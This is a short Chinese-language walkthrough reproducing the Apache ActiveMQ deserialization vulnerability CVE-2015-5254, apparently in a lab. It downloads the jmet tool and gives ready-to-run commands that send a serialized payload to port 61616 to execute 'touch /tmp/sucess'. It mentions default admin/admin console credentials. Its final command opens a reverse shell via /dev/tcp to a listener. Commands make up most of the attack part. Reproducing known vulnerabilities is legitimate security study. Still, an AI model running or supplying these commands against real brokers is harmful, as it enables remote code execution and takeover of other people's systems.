ActiveMQ 反序列化漏洞(CVE-2015-5254)复现

漏洞简介

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞复现

  1. 漏洞利用过程

    1. 构造可执行命令的序列化对象
    2. 作为一个消息发送给目标61616端口
    3. 访问的Web管理页面,读取消息,触发漏洞
  2. 使用jmet进行漏洞利用

     wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
     mkdir external
    
  3. 执行命令

    1. java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   127.0.0.1   61616
      
  1. 此时目标站ActiveMQ会收到名为事件的队列,在admin/queues.jsp下面(账号admin密码admin)
  1. 点击这个消息便出发了漏洞

  2. 此时进入容器,发现存在tmp目录已经创建说明漏洞利用成功

最后反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bin -i >& /dev/tcp/127.0.0.1/7777 0>&1" -Yp ROME 192.168.180.133 61616

点击消息

反弹shell成功